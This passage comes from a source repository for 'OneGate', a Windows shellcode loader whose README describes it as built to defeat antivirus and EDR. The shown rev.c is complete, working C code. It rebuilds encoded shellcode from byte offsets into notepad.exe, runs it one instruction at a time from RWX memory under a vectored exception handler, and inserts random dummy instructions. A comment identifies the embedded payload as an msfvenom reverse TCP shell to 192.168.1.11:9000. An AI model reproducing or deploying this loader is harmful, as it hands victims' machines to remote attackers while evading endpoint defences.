255 | if (ExceptionInfo->ContextRecord->Rip < (DWORD64)baseAddress || ExceptionInfo->ContextRecord->Rip > upperBound) {
256 |
257 | return EXCEPTION_CONTINUE_EXECUTION;
258 | }
259 |
260 | PBYTE pPayloadBuffer = NULL;
261 |
262 | memcpy(oldRIP, pBullshitBuffer, bytesInBullshitBuffer);
263 |
264 | printf("RIP is at %p\n", ExceptionInfo->ContextRecord->Rip);
265 |
266 | //determine position in Payload for next instruction
267 | //this should account for jumps as well as for loops where we are moving backward
268 | payloadPosition = payloadPosition + (ExceptionInfo->ContextRecord->Rip - oldRIP);
269 |
270 | //determine the position in bytesPerLine
271 | int total = 0;
272 | for (int j = 0; j < sizeOfBytesPerLine; j++) {
273 | total = total + bytesPerLine[j];
274 | if (total == payloadPosition) {
275 | bytesPerLineTracker = j + 1; //+1 because the array starts at 0
276 | }
277 | }
278 |
279 | //save what is currently at the next instruction position
280 | //set size of bullshitBuffer
281 | bytesInBullshitBuffer = bytesPerLine[bytesPerLineTracker];
282 | pBullshitBuffer = malloc(sizeof(BYTE) * bytesInBullshitBuffer);
283 | //copy the bytes that will be overwritten by the next instruction
284 | memcpy(pBullshitBuffer, ExceptionInfo->ContextRecord->Rip, bytesPerLine[bytesPerLineTracker]);
285 |
286 | //get the next instruction
287 | BytesToBin(payloadPosition, bytesPerLineTracker, &pPayloadBuffer);
288 |
289 | //write the next instruction
290 | memcpy(ExceptionInfo->ContextRecord->Rip, pPayloadBuffer, bytesPerLine[bytesPerLineTracker]);
291 |
292 | //also set oldRIP to this new one for the purpose of zeroing it out on the next run
293 | oldRIP = ExceptionInfo->ContextRecord->Rip;
294 |
295 | //randomy insert dummy instruction (only commence this if we are not already in a dummy instruction loop)
296 | int random = rand() % 100;
297 | printf("random: %d\n", random);
298 |
299 | //this sets the frequency of dummy code - currently set to 2%
300 | if (random < 2) {
301 | //going into a dummy instruction loop
302 | doingDummy = TRUE;
303 |
304 | printf("Rip is at breakpoint address: %p\n", ExceptionInfo->ContextRecord->Rip);
305 | printf("Commencing dummy instruction execution...\n");
306 |
307 | //save the current thread context
308 | memcpy(&ctx, ExceptionInfo->ContextRecord, sizeof(CONTEXT));
309 | CreateDummyCode();
310 | //point RIP at the dummy set of instructions
311 | ExceptionInfo->ContextRecord->Rip = dummyAddress;
312 |
313 | return EXCEPTION_CONTINUE_EXECUTION;
314 | }
315 |
316 | return EXCEPTION_CONTINUE_EXECUTION;
317 | }
318 |
319 | return EXCEPTION_CONTINUE_SEARCH;
320 | }
321 |
322 |
323 | int main() {
324 |
325 | //seed the random number generator
326 | srand(time(0));
327 |
328 | //generate random offset from where VirtualAlloc has allocated memory
329 | int sizeOfPayload = sizeof(Positions) / sizeof(Positions[0]);
330 | DWORD64 randomOffset = rand() % (4096 - sizeOfPayload);
331 |
332 | //allocate one page of memory for the payload
333 | PVOID rootAddress = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
334 | if (rootAddress == NULL) {
335 | printf("[!] Failed to allocate memory. VirtualAlloc failed with error %d\n", GetLastError());
336 | return -1;
337 | }
338 |
339 | printf("[i] Memory allocated at: %p\n", rootAddress);
340 |
341 | //fill the memory block with bullshit
342 | writeMemoryBlock(rootAddress);
343 |
344 | //add the VEH
345 | HANDLE vh1 = AddVectoredExceptionHandler(1, BreakpointHandler);
346 |
347 | //create the thread suspended
348 | DWORD threadID = NULL;
349 | HANDLE hThread = CreateThread(NULL, NULL, rootAddress, NULL, CREATE_SUSPENDED, &threadID);
350 | if (!hThread) {
351 | printf("[!] Failed to create thread. Error %d\n", GetLastError());
352 | return -1;
353 | }
354 |
355 | printf("The threadID is: %d\n\n", threadID);
356 |
357 | //set the context flag for single step execution
358 | CONTEXT ctx = { .ContextFlags = CONTEXT_ALL };
359 |
360 | if (!GetThreadContext(hThread, &ctx)) {
361 | printf("[!] Failed to get thread context. GetThreadContext failed with error %d\n", GetLastError());
362 | return -1;
363 | }
364 |
365 | ctx.EFlags |= (1 << 8);
366 |
367 | if (!SetThreadContext(hThread, &ctx)) {
368 | printf("[!] Failed to set thread context. SetThreadContext failed with error %d\n", GetLastError());
369 | return -1;
370 | }
371 |
372 | //set the upperBound for use in the veh and oldRIP which is used in there too
373 | (DWORD64)baseAddress = (DWORD64)rootAddress + randomOffset; //set a random starting address for the payload inside the newly allocated memory
374 | upperBound = (DWORD64)rootAddress + (DWORD64)4096; //this is the end of the allocat page
375 | oldRIP = baseAddress;
376 |
377 | //set the out of bounds area with two conditions:
378 | // must not intersect with the payload working area (plus 100 bytes before)
379 | // must not be within 100 bytes of the end of the memory block
380 | DWORD64 payloadStart = (DWORD64)baseAddress - 100;
381 | DWORD64 payloadEnd = (DWORD64)baseAddress + sizeOfPayload;
382 |
383 | do {
384 | (DWORD64)dummyAddress = (DWORD64)rootAddress + (rand() % 4096);
385 | } while (((DWORD64)dummyAddress > payloadStart && (DWORD64)dummyAddress < payloadEnd) || (DWORD64)dummyAddress > (upperBound - 100));
386 |
387 |
388 | printf("Payload working area starts at: %p\n", baseAddress);
389 | printf("Dummy Instruction Address is: %p\n\n", dummyAddress);
390 |
391 | ResumeThread(hThread);
392 | WaitForSingleObject(hThread, INFINITE);
393 |
394 | printf("[i] Execution complete. Press to exit...");
395 | getchar();
396 |
397 | CloseHandle(hThread);
398 |
399 | return 0;
400 | }
401 |
--------------------------------------------------------------------------------
/Executor/rev.c:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 |
3 | #include
4 | #include
5 |
6 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- //
7 | // Insert the Position[] and the bytesPerLine[] generated by the constructor below
8 | // Make sure to point bFilePath to the same file used by the constructor
9 |
10 | PBYTE bFilePath = "C:\\Windows\\System32\\notepad.exe"; //the file the constructor used to build the arrays
11 |
12 | //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9000 constructed from notepad.exe
13 | const unsigned int Positions[] = {
14 |
15 | 2320, 1035, 1083, 1140, 276, 488, 296, 3, 3, 3, 1654, 2590, 1654, 256, 224, 2590,
16 | 2278, 1035, 2299, 1369, 99, 1035, 1033, 224, 350, 1035, 1033, 224, 476, 1035, 1033, 224,
17 | 82, 1035, 1033, 84, 256, 1035, 1355, 1582, 581, 581, 1500, 2299, 497, 1035, 2299, 296,
18 | 441, 2000, 88, 265, 281, 2837, 82, 1654, 351, 497, 117, 1654, 61, 351, 2458, 2347,
19 | 224, 1654, 2590, 1035, 1033, 224, 82, 1033, 799, 2000, 1035, 61, 401, 1033, 337, 568,
20 | 3, 3, 3, 1035, 1426, 296, 96, 86, 1035, 61, 401, 256, 1033, 1035, 476, 108,
21 | 1033, 24, 82, 1068, 61, 401, 5633, 2278, 1035, 12, 497, 1654, 1033, 1661, 568, 1035,
22 | 61, 148, 1500, 2299, 497, 1035, 2299, 296, 441, 1654, 351, 497, 117, 1654, 61, 351,
23 | 1674, 289, 102, 1111, 75, 4, 75, 120, 354, 257, 1438, 3008, 102, 264, 1134, 108,
24 | 1033, 24, 120, 1068, 61, 401, 473, 1654, 1033, 737, 1035, 108, 1033, 24, 1439, 1068,
25 | 61, 401, 1654, 1033, 8, 568, 1035, 61, 401, 1654, 1134, 1654, 1134, 3349, 2243, 1,
26 | 1654, 1134, 1654, 2243, 1654, 1, 1035, 1083, 156, 82, 1654, 224, 12, 289, 1134, 1654,
27 | 2243, 1, 1035, 1033, 657, 2119, 1045, 12, 12, 12, 1477, 1068, 7248, 131, 81, 3165,
28 | 1466, 1050, 3165, 3, 3, 1654, 2278, 1068, 1053, 132, 1035, 267, 156, 1122, 61, 3,
29 | 3, 1068, 1053, 164, 1068, 2852, 281, 3, 1824, 1570, 296, 1102, 61, 280, 1654, 78,
30 | 1068, 1053, 1140, 75, 1053, 1111, 1654, 66, 75, 131, 2950, 262, 12, 4055, 75, 1053,
31 | 2466, 79, 61, 61, 3, 3, 2243, 1654, 66, 1609, 337, 1153, 3, 12, 4055, 256,
32 | 256, 1500, 2299, 497, 1500, 2299, 296, 1035, 12, 296, 1035, 1053, 1668, 1035, 12, 296,
33 | 1035, 1053, 351, 1654, 66, 2466, 1355, 1393, 289, 12, 4055, 1035, 1053, 1088, 10386, 301,
34 | 1654, 1134, 75, 1053, 2458, 1035, 1053, 188, 1654, 66, 7779, 5899, 96, 88, 12, 4055,
35 | 1035, 267, 1051, 24, 281, 3, 3, 1068, 16, 91, 89, 114, 3, 3, 3, 3,
36 | 3, 1654, 256, 1654, 256, 1035, 1053, 2458, 1045, 1045, 1045, 1500, 2299, 296, 10386, 117,
37 | 2243, 1654, 256, 2458, 2320, 473, 1088, 108, 120, 78, 61, 61, 1035, 1100, 108, 120,
38 | 476, 2444, 3, 79, 1035, 1053, 132, 2278, 256, 1654, 256, 1654, 256, 1654, 256, 1068,
39 | 12, 296, 1654, 256, 1068, 12, 400, 1500, 1053, 351, 75, 1053, 351, 1654, 66, 2147,
40 | 1024, 2285, 261, 12, 4055, 1035, 2299, 1369, 1035, 12, 2346, 1033, 64, 1654, 66, 354,
41 | 3767, 2029, 350, 12, 4055, 2561, 289, 2029, 1310, 119, 1654, 66, 5742, 130, 5662, 1999,
42 | 12, 4055, 1035, 1083, 1051, 1570, 2000, 202, 265, 119, 337, 134, 289, 102, 1044, 2561,
43 | 2032, 129, 84, 85, 10386, 3, 2243, 1654, 1053, 1562, 12, 4055
44 | };
45 |
46 | const unsigned int bytesPerLine[] = {
47 |
48 | 1, 4, 5, 2, 2, 1, 1, 1, 3, 5, 4, 4, 4, 5, 3, 3,
49 | 1, 2, 2, 2, 4, 3, 2, 1, 2, 4, 3, 3, 6, 3, 2, 3,
50 | 1, 3, 4, 3, 2, 3, 4, 3, 3, 3, 1, 4, 3, 2, 2, 5,
51 | 3, 2, 1, 4, 3, 5, 4, 3, 4, 3, 2, 2, 1, 1, 1, 2,
52 | 2, 2, 4, 2, 2, 1, 2, 1, 3, 5, 1, 10, 2, 3, 7, 3,
53 | 10, 2, 3, 3, 6, 2, 3, 5, 1, 6, 2, 1, 1, 3, 3, 3,
54 | 3, 3, 3, 6, 2, 3, 2, 2, 3, 3, 6, 2, 7, 10, 2, 2,
55 | 3, 1, 1, 1, 3, 2, 1, 2, 2, 7, 5, 3, 3, 1, 1, 2,
56 | 2, 2, 3, 2, 3, 3, 3, 6, 2, 3, 3, 2, 6, 2, 5, 6,
57 | 2, 4, 2, 2, 3, 2, 5, 2, 1, 3, 2,
58 | };
59 |
60 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- //
61 |
62 | //array of instructions from which random instruction execution is pulled
63 | //Also used by writeMemoryBlock() function to fill memory block on first pass
64 | const unsigned char instruction[21][3] = {
65 | {0x48, 0x89, 0xD8},
66 | {0x48, 0xFF, 0xC0},
67 | {0x49, 0x89, 0xC4},
68 | {0x49, 0x39, 0xC4},
69 | {0x48, 0x31, 0xC0},
70 | {0x49, 0xFF, 0xCC},
71 | {0x49, 0xFF, 0xCC},
72 | {0x48, 0xFF, 0xC3},
73 | {0x48, 0xFF, 0xC8},
74 | {0x48, 0x01, 0xCB},
75 | {0x49, 0x29, 0xC9},
76 | {0x48, 0x39, 0xC3},
77 | {0x4D, 0x31, 0xD2},
78 | {0x48, 0x31, 0xC0},
79 | {0x48, 0xFF, 0xC1},
80 | {0x48, 0xFF, 0xC9},
81 | {0x4D, 0x31, 0xD2},
82 | {0x48, 0x39, 0xC3},
83 | {0x49, 0x01, 0xCC},
84 | {0x48, 0x01, 0xCB},
85 | {0x4D, 0x31, 0xD2}
86 | };
87 |
88 | DWORD64 bytesPerLineTracker = 0; //this keeps track of where we are in the bytesPerLine array
89 | DWORD64 payloadPosition = 0; //this is a tracker for where we are in the Payload Array
90 | int sizeOfBytesPerLine = (sizeof(bytesPerLine) / sizeof(bytesPerLine[0]));
91 |
92 | PVOID baseAddress = NULL; //base address of the payload
93 | DWORD64 upperBound = NULL; //the upper bound of the payload (end of allocated memory page)
94 | PVOID dummyAddress = NULL;
95 |
96 | BOOL FirstRun = TRUE; //used for the first time the VEH runs
97 |
98 | DWORD64 oldRIP = NULL; //position of the RIP on the previous instruction so it can zero out that memory
99 | DWORD64 nextRIP = NULL; //the RIP where the next valid instruction will be executed from
100 | DWORD64 currentRIP = NULL; //the RIP where the valid instruction was executed so that the dummy instruction can be executed from the same place
101 |
102 | CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL }; //saves the thread context so it can be resoted after dummy instructions
103 |
104 | PBYTE pBullshitBuffer = NULL; //used to store the bytes that are overwritten by the next instruction so they can be written back
105 | SIZE_T bytesInBullshitBuffer = 0; //stores the number of bytes to write back
106 | PBYTE pDummyWriteBuffer = NULL; //used to store the bytes that the dummy instruction generator overwrites so they can be written back
107 | int sizeDummyWriteBuffer = 0; //stores the number of bytes to write back
108 |
109 | BOOL doingDummy = FALSE; //this keeps track of whether we are in the process of doing a dummy instruction loop
110 | //so that it does not try and execute a dummy instruction loop in the middle of another
111 | //dummy instruction loop because this breaks the program
112 |
113 |
114 | BOOL CreateDummyCode() {
115 |
116 | PBYTE PayloadBuffer = malloc(sizeof(BYTE) * 16 * 20);
117 |
118 | //choose how many instructions we are going to use for the dummy code
119 | int numberOfInstructions = (rand() % 19) + 1;
120 | printf("Using %d instructions\n\n", numberOfInstructions);
121 | int tracker = 0;
122 |
123 | //choose the instructions
124 | for (int i = 0; i < numberOfInstructions; i++) {
125 | int chosenInstruction = (rand() % 19) + 1;
126 | printf("Chosen instruction number: %d\n", chosenInstruction);
127 | for (int j = 0; j < 3; j++) { //this is hard coded for only instructions with 3 bytes
128 | PayloadBuffer[tracker] = instruction[chosenInstruction][j];
129 | printf("%02x \n", PayloadBuffer[tracker]);
130 | tracker++;
131 | }
132 | }
133 |
134 | //add INT3 breakpoint at the end
135 | PayloadBuffer[tracker] = 0xCC;
136 |
137 | //show the instructions
138 | printf("The chosen instructions are:\n");
139 | for (int j = 0; j < tracker + 1; j++) {
140 | printf("%02x, ", PayloadBuffer[j]);
141 | }
142 | printf("\n\n");
143 |
144 | //save what was originally there so it can be restored
145 | sizeDummyWriteBuffer = tracker + 1;
146 | pDummyWriteBuffer = malloc(sizeof(BYTE) * 16 * 20);
147 | memcpy(pDummyWriteBuffer, dummyAddress, sizeDummyWriteBuffer);
148 |
149 | //write new dummy instruction
150 | memcpy(dummyAddress, PayloadBuffer, tracker + 1);
151 | }
152 |
153 | //function to fill the allocated memory block with random instructions - used on the first pass only
154 | BOOL writeMemoryBlock(PVOID baseAddress) {
155 | DWORD64 writeOffset = 0;
156 |
157 | while (writeOffset < 4093) { //write offset is one whole memory block (4096 bytes) minus the size of one instruction (3 bytes)
158 | //choose a random instruction
159 | int chosenInstruction = (rand() % 19) + 1;
160 | memcpy((DWORD64)baseAddress + writeOffset, instruction[chosenInstruction], 3);
161 |
162 | writeOffset += 3;
163 | }
164 |
165 | }
166 |
167 | BOOL BytesToBin(int positionNumber, int numberOfInstructions, PBYTE* bPayloadBuffer) {
168 |
169 | PBYTE filePath = bFilePath;
170 |
171 | FILE* file = NULL;
172 | SIZE_T bytesRead = 0; //for comparing to fileSize to ensure all bytes are read
173 | SIZE_T fileSize = NULL; //size of file being read
174 | PBYTE PayloadBuffer = NULL; //buffer to hold the bytes - max 16 bytes in one instruction
175 |
176 | PayloadBuffer = malloc(sizeof(BYTE) * 16);
177 |
178 | //open file
179 | file = fopen(filePath, "rb");
180 | if (!file) {
181 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError());
182 | return FALSE;
183 | }
184 |
185 | //iterate through file and find the bytes in position number for the number of instructions required
186 | for (int i = 0; i < bytesPerLine[numberOfInstructions]; i++) {
187 | fseek(file, Positions[positionNumber + i], SEEK_SET);
188 | fread(&PayloadBuffer[i], sizeof(byte), 1, file);
189 | printf("%02x ", PayloadBuffer[i]);
190 | bytesRead++;
191 | }
192 | printf("\n");
193 |
194 | //make sure it read correctly
195 | if (bytesRead != bytesPerLine[numberOfInstructions]) {
196 | printf("[!] An error occurred reading the bytes: Error %d\n", GetLastError());
197 | fclose(file);
198 | return FALSE;
199 | }
200 |
201 | //cleanup
202 | if (file) {
203 | fclose(file);
204 | }
205 |
206 | *bPayloadBuffer = PayloadBuffer;
207 |
208 | printf("\n");
209 |
210 | return TRUE;
211 | }
212 |
213 | LONG CALLBACK BreakpointHandler(PEXCEPTION_POINTERS ExceptionInfo) {
214 |
215 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
216 |
217 | if (FirstRun == TRUE) {
218 | //they should already be 0 but just double checking
219 | bytesPerLineTracker = 0;
220 | payloadPosition = 0;
221 |
222 | FirstRun = FALSE;
223 | }
224 |
225 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
226 | printf("\nGot an exception violation error :(\nRun the program again\n");
227 | //return EXCEPTION_CONTINUE_EXECUTION;
228 | return EXCEPTION_CONTINUE_SEARCH;
229 | }
230 |
231 | //used to deal with the end of the execution of dummy instructions
232 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
233 |
234 | //set the CONTEXT back to where it is supposed to be to continue shellcode execution
235 | memcpy(ExceptionInfo->ContextRecord, &ctx, sizeof(CONTEXT));
236 |
237 | printf("The RIP is now back at: %p\n", ExceptionInfo->ContextRecord->Rip);
238 | printf("Continuing shellcode exection\n");
239 |
240 | //zero out dummy memory
241 | memcpy(dummyAddress, pDummyWriteBuffer, sizeDummyWriteBuffer);
242 |
243 | //dummy instruction loop complete
244 | doingDummy = FALSE;
245 |
246 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
247 |
248 | return EXCEPTION_CONTINUE_EXECUTION;
249 | }
250 |
251 | //if we are executing a dummy instruction ignore the single stepping and move on - the end of the dummy instruction is signlled by an INT3
252 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == TRUE) {
253 | return EXCEPTION_CONTINUE_EXECUTION;
254 | }
255 |
256 |
257 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == FALSE) {
258 |
259 | //single step execution is disabled each run so reset it
260 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
261 |
262 | //if the exception occurs outside our shellcode space do nothing
263 | if (ExceptionInfo->ContextRecord->Rip < (DWORD64)baseAddress || ExceptionInfo->ContextRecord->Rip > upperBound) {
264 |
265 | return EXCEPTION_CONTINUE_EXECUTION;
266 | }
267 |
268 | PBYTE pPayloadBuffer = NULL;
269 |
270 | memcpy(oldRIP, pBullshitBuffer, bytesInBullshitBuffer);
271 |
272 | printf("RIP is at %p\n", ExceptionInfo->ContextRecord->Rip);
273 |
274 | //determine position in Payload for next instruction
275 | //this should account for jumps as well as for loops where we are moving backward
276 | payloadPosition = payloadPosition + (ExceptionInfo->ContextRecord->Rip - oldRIP);
277 |
278 | //determine the position in bytesPerLine
279 | int total = 0;
280 | for (int j = 0; j < sizeOfBytesPerLine; j++) {
281 | total = total + bytesPerLine[j];
282 | if (total == payloadPosition) {
283 | bytesPerLineTracker = j + 1; //+1 because the array starts at 0
284 | }
285 | }
286 |
287 | //save what is currently at the next instruction position
288 | //set size of bullshitBuffer
289 | bytesInBullshitBuffer = bytesPerLine[bytesPerLineTracker];
290 | pBullshitBuffer = malloc(sizeof(BYTE) * bytesInBullshitBuffer);
291 | //copy the bytes that will be overwritten by the next instruction
292 | memcpy(pBullshitBuffer, ExceptionInfo->ContextRecord->Rip, bytesPerLine[bytesPerLineTracker]);
293 |
294 | //get the next instruction
295 | BytesToBin(payloadPosition, bytesPerLineTracker, &pPayloadBuffer);
296 |
297 | //write the next instruction
298 | memcpy(ExceptionInfo->ContextRecord->Rip, pPayloadBuffer, bytesPerLine[bytesPerLineTracker]);
299 |
300 | //also set oldRIP to this new one for the purpose of zeroing it out on the next run
301 | oldRIP = ExceptionInfo->ContextRecord->Rip;
302 |
303 | //randomy insert dummy instruction (only commence this if we are not already in a dummy instruction loop)
304 | int random = rand() % 100;
305 | printf("random: %d\n", random);
306 |
307 | //this sets the frequency of dummy code - currently set to 2%
308 | if (random < 2) {
309 | //going into a dummy instruction loop
310 | doingDummy = TRUE;
311 |
312 | printf("Rip is at breakpoint address: %p\n", ExceptionInfo->ContextRecord->Rip);
313 | printf("Commencing dummy instruction execution...\n");
314 |
315 | //save the current thread context
316 | memcpy(&ctx, ExceptionInfo->ContextRecord, sizeof(CONTEXT));
317 | CreateDummyCode();
318 | //point RIP at the dummy set of instructions
319 | ExceptionInfo->ContextRecord->Rip = dummyAddress;
320 |
321 | return EXCEPTION_CONTINUE_EXECUTION;
322 | }
323 |
324 | return EXCEPTION_CONTINUE_EXECUTION;
325 | }
326 |
327 | return EXCEPTION_CONTINUE_SEARCH;
328 | }
329 |
330 |
331 | int main() {
332 |
333 | //seed the random number generator
334 | srand(time(0));
335 |
336 | //generate random offset from where VirtualAlloc has allocated memory
337 | int sizeOfPayload = sizeof(Positions) / sizeof(Positions[0]);
338 | DWORD64 randomOffset = rand() % (4096 - sizeOfPayload);
339 |
340 | //allocate one page of memory for the payload
341 | PVOID rootAddress = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
342 | if (rootAddress == NULL) {
343 | printf("[!] Failed to allocate memory. VirtualAlloc failed with error %d\n", GetLastError());
344 | return -1;
345 | }
346 |
347 | printf("[i] Memory allocated at: %p\n", rootAddress);
348 |
349 | //fill the memory block with bullshit
350 | writeMemoryBlock(rootAddress);
351 |
352 | //add the VEH
353 | HANDLE vh1 = AddVectoredExceptionHandler(1, BreakpointHandler);
354 |
355 | //create the thread suspended
356 | DWORD threadID = NULL;
357 | HANDLE hThread = CreateThread(NULL, NULL, rootAddress, NULL, CREATE_SUSPENDED, &threadID);
358 | if (!hThread) {
359 | printf("[!] Failed to create thread. Error %d\n", GetLastError());
360 | return -1;
361 | }
362 |
363 | printf("The threadID is: %d\n\n", threadID);
364 |
365 | //set the context flag for single step execution
366 | CONTEXT ctx = { .ContextFlags = CONTEXT_ALL };
367 |
368 | if (!GetThreadContext(hThread, &ctx)) {
369 | printf("[!] Failed to get thread context. GetThreadContext failed with error %d\n", GetLastError());
370 | return -1;
371 | }
372 |
373 | ctx.EFlags |= (1 << 8);
374 |
375 | if (!SetThreadContext(hThread, &ctx)) {
376 | printf("[!] Failed to set thread context. SetThreadContext failed with error %d\n", GetLastError());
377 | return -1;
378 | }
379 |
380 | //set the upperBound for use in the veh and oldRIP which is used in there too
381 | (DWORD64)baseAddress = (DWORD64)rootAddress + randomOffset; //set a random starting address for the payload inside the newly allocated memory
382 | upperBound = (DWORD64)rootAddress + (DWORD64)4096; //this is the end of the allocat page
383 | oldRIP = baseAddress;
384 |
385 | //set the out of bounds area with two conditions:
386 | // must not intersect with the payload working area (plus 100 bytes before)
387 | // must not be within 100 bytes of the end of the memory block
388 | DWORD64 payloadStart = (DWORD64)baseAddress - 100;
389 | DWORD64 payloadEnd = (DWORD64)baseAddress + sizeOfPayload;
390 |
391 | do {
392 | (DWORD64)dummyAddress = (DWORD64)rootAddress + (rand() % 4096);
393 | } while (((DWORD64)dummyAddress > payloadStart && (DWORD64)dummyAddress < payloadEnd) || (DWORD64)dummyAddress > (upperBound - 100));
394 |
395 |
396 | printf("Payload working area starts at: %p\n", baseAddress);
397 | printf("Dummy Instruction Address is: %p\n\n", dummyAddress);
398 |
399 | ResumeThread(hThread);
400 | WaitForSingleObject(hThread, INFINITE);
401 |
402 | printf("[i] Execution complete. Press to exit...");
403 | getchar();
404 |
405 | CloseHandle(hThread);
406 |
407 | return 0;
408 | }
--------------------------------------------------------------------------------
/OneGate.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33829.357
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Constructor", "Constructor\Constructor.vcxproj", "{AC507B99-156F-4280-BC0B-77B4057A3624}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Executor", "Executor\Executor.vcxproj", "{E309EF7C-30D2-4F7D-B203-FA86A692E6C8}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x64.ActiveCfg = Debug|x64
19 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x64.Build.0 = Debug|x64
20 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x86.ActiveCfg = Debug|Win32
21 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x86.Build.0 = Debug|Win32
22 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x64.ActiveCfg = Release|x64
23 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x64.Build.0 = Release|x64
24 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x86.ActiveCfg = Release|Win32
25 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x86.Build.0 = Release|Win32
26 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x64.ActiveCfg = Debug|x64
27 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x64.Build.0 = Debug|x64
28 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x86.ActiveCfg = Debug|Win32
29 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x86.Build.0 = Debug|Win32
30 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x64.ActiveCfg = Release|x64
31 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x64.Build.0 = Release|x64
32 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x86.ActiveCfg = Release|Win32
33 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {1C176296-0190-44D5-9C04-75E23B905BF3}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # OneGate
2 | Yet another shellcode loader - but a sneaky one
3 |
4 |
5 |
6 |
7 |
8 | This is a combination of my earlier shellcode obfuscation project [WhenAPayloadCalls](https://github.com/b0bd0g/WhenAPayloadCalls) but now with a custom shellcode loader which aims to defeat antivirus and EDR solutions.
9 |
10 | The intent was to use the most obvious WinAPIs possible while also using the least amount of evasion techniques and still have it defeat AV/EDR. As such it uses:
11 |
12 | - VirtualAlloc to alloate RWX memory
13 | - No use of VirtualProtect to flip memory protections - just does everything inside RWX memory
14 | - Uses CreateThread to run
15 | - No sandbox evasion
16 |
17 | **NOTE**: This is meant to be more of a proof of concept of the technique as opposed to an off the shelf solution, so don't expect to be able to pick it up and have it work for everything
18 |
19 | ## How it works
20 |
21 | There are two parts to OneGate - the constructor and the executor (OneGate):
22 |
23 | ### Constructor
24 |
25 | Get some shellcode and put it in the `const unsigned char Payload[] {}` located in `constructor.c`. There are already two examples in there for a calc.exe shellcode and a reverse shell, both generated by MSFVenom.
26 |
27 | The basic method of obfuscating the shellcode comes from WhenAPayloadCalls. This is a shellcode obfuscation technique using a file which already exists on the target computer. You will need an **EXACT** byte for byte copy of the file you are targeting. As such this is not meant as a general "out of the box" obfuscation technique, but rather one that is specifically tailored to that specific target system. It is also possible to upload your own file to the target system and use that to generate your payload.
28 |
29 | Pick a file on the attacker's machine (this is why you need an exact byte for byte copy of a file on the victim's machine) that you want to use. The program will iterate through the chosen file and look for the bytes in the shellcode, noting down the position of each one. For example if the first byte is `FC`, it will search the target file for the byte `FC` and print out the position in the target file at which it is found (on my system using the target file `notepad.exe` the byte `FC` is the `266`th byte in notepad). If the program cannot find the byte it will say so. This generates the `Positions[]` array.
30 |
31 | Using the Zydis (https://github.com/zyantific/zydis) it will iterate through the shellcode and determine the number of bytes in each instruction generating an array called `bytesPerLine[]`.
32 |
33 | A sample output of the constructor is as follows:
34 |
35 |
36 |
37 |
38 | ### OneGate (the executor)
39 |
40 | OneGate first allocates a memory page and fills it with random instructions. It randomly allocates a starting position for the shellcode within this memory page so that the shellcode doesn't start in the same place each time.
41 |
42 | It then opens the file that is being used to perform the byte deobfuscation and iterates through `Postitions[]` and only decrptys the number of bytes needed for that particular instruction. This way only the exact bytes required for the next instruction are ever revealed at any given time. These bytes are written to their correct plce in the memory page (overwriting what is already there) and executed using single setpping. Once an instruction is executed the original bytes that were overwritten are written back to their place in the memory page. Therefore not only are the bytes only exposed for the minimum amount of time, but unless the defence system can catch the modification in time, it will appear as though nothing changed on the memory page at that particular address.
43 |
